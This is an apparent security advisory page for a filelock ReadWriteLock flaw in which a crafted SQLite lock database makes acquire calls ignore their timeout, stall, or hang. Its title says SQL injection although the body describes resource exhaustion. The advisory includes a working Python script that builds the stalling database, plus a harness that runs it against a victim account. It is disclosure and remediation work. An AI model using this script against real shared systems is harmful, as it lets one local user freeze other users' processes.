GHSA-cwqr-hh33-gh44: SQL Injection

Published Oct 28, 2026
·
Updated

ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) run PRAGMA journalmode=MEMORY on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the sqlitemaster table, which lists every table and index with its CREATE text) of whatever file sits at the lock path. The caller's timeout reaches SQLite only as busytimeout, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a ReadWriteLock's database path can therefore make every acquireread / acquirewrite of every process using that lock ignore its timeout and blocking=False. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write.

One 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0.

Anthropic's OSS Scanner reported this in private as ANT-2026-NFPRHMYJ [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H scores 5.5 (Medium). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. AC:L (low attack complexity): the other user plants one file; no race. UI:N (no user interaction). A:H (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with timeout and blocking=False ignored and SIGINT not delivered, so only killing the process ends it. C:N and I:N (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. S:U (scope unchanged).

Classification from the external review: conditional security, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition.

Scope and preconditions

- The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (0666), which is the setup a lock shared between accounts needs. In a 1777 directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is 0666. - Sticky directories and kernel settings. In a sticky world-writable directory such as /tmp, Linux with fs.protectedregular=2 (a kernel setting) refuses the lock user's OCREAT open of a file owned by the other account with EACCES. A database owned by the other user does not work there. That does not cover a 0666 database owned by the lock user. The scanner did not test systems with fs.protectedregular=0 (the kernel's own default). - Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.

Affected code

At the scanned commit b831496b0273: configureandbegin runs PRAGMA busytimeout=...; PRAGMA journalmode=MEMORY; on a fresh connection, and for a read lock SELECT name FROM sqlitemaster LIMIT 1 at line 832. The code in doacquireinner closes the previous connection and opens a new one on every acquire. The only content checks are openlockdatabase (regular file) and raiseifwal (20 header bytes).

Introduced

The acquire path dates from cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#399)", 2026-02-12), first released in 3.20.4 (verified: git tag --contains cfd4446 gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance.

Mechanism

PRAGMA journalmode=MEMORY is the first statement that needs the schema. SQLite reads every row of sqlitemaster and parses each row's sql text there. Run one at a time on the crafted file, PRAGMA busytimeout returns at once and PRAGMA journalmode=MEMORY takes the whole time. The read-mode SELECT needs the schema too. The caller's timeout reaches SQLite only as busytimeout (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection's file lock. Loading the schema is not a wait, so nothing limits it. blocking=False and timeout=0 reach SQLite as busytimeout=0 and stall the same way (2.4 s each with a 5-row file). acquirewrite runs the same pragma. AsyncReadWriteLock.readlock(timeout=1) stalls the same way (4.7 s with 10 rows; wrapping the acquire in asyncio.waitfor(..., 2) does not return earlier). A second acquireread on the same instance stalls for as long as the first.

The constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in configureandbegin at the executescript call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions.

Long schema rows. Each sqlitemaster row is ('table', 't0001', 't0001', 2, 'CREATE TABLE t0001(x) --AAAA…') with an sql text of 999,999,024 bytes, under SQLite's 1,000,000,000-byte limit. The file does not store the text. Each row's cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the "next overflow page" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid CREATE TABLEs, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise Timeout.

Measured with readlock(timeout=1): 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row's worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises MemoryError from line 816.

Looping interior pages. The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls readlock(timeout=1) for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page).

At the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are sqlitemaster interior pages whose 660 cell pointers all name one 5-byte cell. That cell's child and the page's right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of sqlitemaster by 661.

The row is not a valid schema entry, and that does not stop the scan: SQLite raises sqlite3.DatabaseError: malformed database schema (?) only after the last row. One level raises DatabaseError at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661⁶, about 8 × 10¹⁶ rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file acquirewrite(timeout=1), acquireread(blocking=False) and acquireread(timeout=0) spin on the same line. SIGINT does not raise KeyboardInterrupt (the process was still running at 100% CPU 4 s after kill -INT), because the thread does not leave the one SQLite call.

Reproduction

The scanner's reproducer for ANT-2026-NFPRHMYJ, quoted as received. It ran against commit b831496b0273.

repro

python #!/usr/bin/env python3 import os import resource import shutil import subprocess import sys import time

set up: a cache directory both accounts can write, without the sticky bit shareddir = "/tmp/shared-cache" shutil.rmtree(shareddir, ignoreerrors=True) os.mkdir(shareddir) os.chmod(shareddir, 0o777) lockdb = f"{shareddir}/cache.lock.db"

attack: the attacker creates the lock database first, with 50 schema rows subprocess.run( [sys.executable, "/tmp/repro.d/makestallingdb.py", lockdb, "50"], user="attacker", group="attacker", extragroups=[], check=True, ) print("lock database uses", os.stat(lockdb).stblocks 512, "bytes of disk", flush=True)

victim: an application takes the read lock with a one-second timeout started = time.monotonic() subprocess.run( [sys.executable, "/tmp/repro.d/victimreader.py", lockdb], user="victim", group="victim", extragroups=[], timeout=600, ) victimranfor = time.monotonic() - started

check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout victimpeakrssmb = resource.getrusage(resource.RUSAGECHILDREN).rumaxrss // 1024 # the victim is the largest child print(f"victim process ran for {victimranfor:.1f} s, peak RSS {victimpeakrssmb} MB") print("BUG" if victimranfor > 10 else "OK")

repro.d/makestallingdb.py

python #!/usr/bin/env python3 usage: makestallingdb.py <database path> <number of schema rows> Writes a SQLite database whose sqlitemaster rows each carry ~1 GB of sql text, stored in a few 4 KB pages: every row's text continues on one overflow page whose "next overflow page" field names itself. import os import struct import sys

database, schemarows = sys.argv[1], int(sys.argv[2])

PAGESIZE = 4096 LOOPPAGE = 2 COMMENTLEN = 999999000 # keeps each sql text just under SQLite's 1,000,000,000-byte string limit CLAIMEDPAGES = COMMENTLEN // PAGESIZE + 2 # SQLite refuses a record longer than page size x pages in the file TABLEINTERIORPAGE, TABLELEAFPAGE = 0x05, 0x0D

def varint(value): groups = [value & 0x7F] while value := value >> 7: groups.insert(0, value & 0x7F | 0x80) return bytes(groups)

def schemarowcell(rowid): # the row ('table', name, name, 2, 'CREATE TABLE name(x) --AAAA...'): a valid statement, so SQLite reports no error name = b"t%04d" % rowid sqlstart = b"CREATE TABLE " + name + b"(x) --" sqllen = len(sqlstart) + COMMENTLEN serialtypes = b"".join(varint(t) for t in [13 + 2 5, 13 + 2 len(name), 13 + 2 len(name), 1, 13 + 2 sqllen]) recordstart = varint(1 + len(serialtypes)) + serialtypes + b"table" + name + name + b"\x02" + sqlstart recordlen = len(recordstart) + COMMENTLEN # the file format's rule for how much of an overflowing table-leaf record stays on the leaf page minlocal, maxlocal = (PAGESIZE - 12) 32 // 255 - 23, PAGESIZE - 35 local = minlocal + (recordlen - minlocal) % (PAGESIZE - 4) if local > maxlocal: local = minlocal return varint(recordlen) + varint(rowid) + recordstart.ljust(local, b"A") + struct.pack(">I", LOOPPAGE)

def btreepage(pagetype, cells, rightchild=b"", headeroffset=0): page = bytearray(PAGESIZE) contentstart = PAGESIZE cellpointers = b"" for cell in cells: contentstart -= len(cell) page[contentstart : contentstart + len(cell)] = cell cellpointers += struct.pack(">H", contentstart) header = struct.pack(">BHHHB", pagetype, 0, len(cells), contentstart, 0) + rightchild + cellpointers page[headeroffset : headeroffset + len(header)] = header return page

pages 3 and up: the leaves of sqlitemaster, about eight rows each cells = [schemarowcell(rowid) for rowid in range(1, schemarows + 1)] rowsperleaf = (PAGESIZE - 8) // (len(cells[0]) + 2) leaves = [btreepage(TABLELEAFPAGE, cells[i : i + rowsperleaf]) for i in range(0, schemarows, rowsperleaf)]

page 2: the overflow page, pointing at itself, then 4092 bytes of comment text looppage = struct.pack(">I", LOOPPAGE) + b"A" (PAGESIZE - 4)

page 1: the database header, then the root of sqlitemaster with one child per leaf firstleaf, lastleaf = 3, 3 + len(leaves) - 1 children = [struct.pack(">I", firstleaf + i) + varint((i + 1) rowsperleaf) for i in range(len(leaves) - 1)] rootpage = btreepage(TABLEINTERIORPAGE, children, rightchild=struct.pack(">I", lastleaf), headeroffset=100) rootpage[:100] = b"".join([ b"SQLite format 3\0", struct.pack(">H", PAGESIZE), bytes([1, 1]), # file format versions: rollback journal, not WAL (which ReadWriteLock refuses) bytes([0, 64, 32, 32]), # reserved bytes per page and the three fixed payload fractions struct.pack(">I", 1), # file change counter struct.pack(">I", CLAIMEDPAGES), # database size in pages struct.pack(">II", 0, 0), # no freelist struct.pack(">II", 1, 4), # schema cookie, schema format struct.pack(">II", 0, 0), # default cache size, no auto-vacuum struct.pack(">I", 1), # text encoding: UTF-8 struct.pack(">III", 0, 0, 0), # user version, incremental vacuum, application id bytes(20), struct.pack(">I", 1), # version-valid-for equals the change counter, so SQLite trusts the page count above struct.pack(">I", 3040001), # SQLite version that wrote the file ])

with open(database, "wb") as file: file.write(rootpage + looppage + b"".join(leaves)) written = file.tell() file.truncate(CLAIMEDPAGES PAGESIZE) # SQLite also refuses a file shorter than it claims; this stays a hole os.chmod(database, 0o666) # the victim's ReadWriteLock opens the database read-write print(f"attacker: wrote {database}: {schemarows} schema rows in {written} bytes, apparent size {CLAIMEDPAGES PAGESIZE}")

repro.d/victimreader.py

python import sys import time

from filelock import ReadWriteLock, Timeout

lock = ReadWriteLock(sys.argv[1]) started = time.monotonic() try: with lock.readlock(timeout=1): outcome = "acquired" except Timeout: outcome = "timed out" print(f"victim: readlock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s")

Failure sequence

mermaid flowchart TB P0["other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user"] --> P1["lock user's acquireread(timeout=1) opens a fresh connection, header is not WAL so it is accepted"] P1 --> P2["PRAGMA busytimeout then PRAGMA journalmode=MEMORY loads all of sqlitemaster, busytimeout does not apply to schema loading"] P2 --> P3["50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout"] P2 --> P4["6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed"] classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332; classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000; classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a; class P0,P1,P2 info; class P3,P4 bad;

Evidence

The scanner's reproducer runs as root and drops to attacker and victim. It recreates /tmp/shared-cache with mode 0777 and no sticky bit. It runs makestallingdb.py /tmp/shared-cache/cache.lock.db 50 as attacker. That script writes the header and the sqlitemaster root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid CREATE TABLE tNNNN(x) --AAAA… rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode 0666. It then runs victimreader.py (ReadWriteLock(path) and one with lock.readlock(timeout=1):) as victim and times it:

attacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632 lock database uses 36864 bytes of disk victim: readlock(timeout=1) acquired after 24.6 s victim process ran for 24.8 s, peak RSS 981 MB BUG

The verdict is BUG when the victim process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (loopingdb.py) builds the looping file; the same victimreader.py run on it as victim does not return. A victim process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a 1777 directory a 0666 database owned by victim, overwritten in place with the looping file, hung the next acquire.

Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head the victim process stops with a ValueError after 0.1 s at 24 MB peak RSS and the reproducer prints OK.

Impact

Another local user who can create or replace the lock database makes every acquireread / acquirewrite of every process using that ReadWriteLock run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of timeout or blocking=False. This goes beyond what holding the lock gives that user, because a held lock ends in Timeout when the caller's timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, Timeout is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user's process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards.

Workarounds

- Keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. - Do not give the lock a database another account may write. The lock creates its database 0600, and leaving it that way keeps other accounts from supplying its content. A lock shared between accounts through a 0666 database stays reachable even in /tmp. - If a stall or hang appears, the file at the lock path is the cause; replacing it with an empty file restores the lock.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/834

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it - 2026-10-16 01:15 UTC: fix PR #834 opened

Affected Software

1 affected componentFixes available
pip/filelock>=3.20.4<=4.2.0
4.2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/filelock to a version that resolves this vulnerability.

    Fixed in 4.2.1
  2. Upgrade

    Upgrade filelock to a version that resolves this vulnerability.

    Fixed in 4.2.1
  3. Compensating control

    Keep the ReadWriteLock database in a directory writable only by the locking account or root, with no group or other write permission; ensure every ancestor directory is owned by that account or root and is either not writable by others or sticky.

  4. Operational

    If a stall or hang occurs, replace the file at the lock path with an empty file to restore the lock.

Event History

Oct 28, 2026
Advisory Published
via GitHub·09:08 PM
Data Sourced
via GitHub·09:08 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Exposure requires a local user who can place or overwrite the file at the lock database path. Examples given are a non-sticky shared directory or a lock database owned by the lock user that other users can write.

2

Do timeout values or blocking=False prevent the resource exhaustion?

No. The timeout is passed to SQLite as busy_timeout, which limits waits on another connection's lock but does not limit schema loading. A crafted file can cause acquire_read or acquire_write to ignore both timeout and blocking=False.

3

What can happen when a malicious lock database is used?

A 37 KB crafted file can stall each acquire for an attacker-chosen duration while causing roughly 1 GB of allocation. A different 28 KB layout can make acquisition of an otherwise free lock run indefinitely at 100% CPU and ignore Ctrl-C.

4

What can be done if patching is not immediately possible?

Ensure untrusted local users cannot place or overwrite files at ReadWriteLock database paths. In particular, avoid non-sticky shared directories for these paths and prevent other users from writing lock databases owned by the lock user.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203